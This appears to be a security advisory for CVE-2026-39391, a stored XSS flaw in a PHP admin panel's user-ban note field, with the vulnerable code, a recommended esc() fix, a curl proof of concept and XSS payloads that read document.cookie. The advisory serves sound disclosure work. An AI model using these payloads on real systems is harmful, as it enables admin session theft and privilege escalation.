CVE-2026-39391

Description

## Summary The blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page. ## Details In `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule: ```php // Line 347 — validation only checks 'required', no sanitization $valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'], 'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]); // Line 352 — raw user input passed directly to ban() $user->ban($this->request->getPost('note')); ``` Shield's `Bannable::ban()` trait stores the message as-is: ```php // vendor/codeigniter4/shield/src/Traits/Bannable.php public function ban(?string $message = null): self { $this->status = 'banned'; $this->status_message = $message; // No escaping // ... } ``` In the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping: ```php // Line 55 — esc() IS used here (correct) $result->fullname = esc($result->firstname) . ' ' . esc($result->surname); // Line 58-59 — NO esc() on status_message (vulnerable) if ($result->status == 'banned'): $result->actions .= '<button ... data-note="' . $result->status_message . '">' ``` The HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied. ## PoC **Step 1 — Store XSS payload via ban endpoint:** ```bash curl -X POST 'https://TARGET/backend/users/blackList' \ -H 'X-Requested-With: XMLHttpRequest' \ -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \ -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22' ``` Expected response: `{"result":true,"error":{"type":"success","message":"..."}}` **Step 2 — Trigger payload:** Any admin navigating to `/backend/users` will receive HTML containing: ```html <button ... data-note="" onmouseover="alert(document.cookie)" x=""> ``` The XSS fires when the admin hovers over the blacklist button for the banned user. **Alternative immediate-execution payload:** ``` note="><img src=x onerror=alert(document.cookie)> ``` ## Impact - **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned). - **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control. - **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page. ## Recommended Fix Wrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55: ```php // In users() method, line 58-59 — change: $result->actions .= '<button type="button" class="btn btn-outline-dark btn-sm open-blacklist-modal" data-id="' . $result->id . '" data-status="' . $result->status . '" data-note="' . esc($result->status_message) . '"><i ```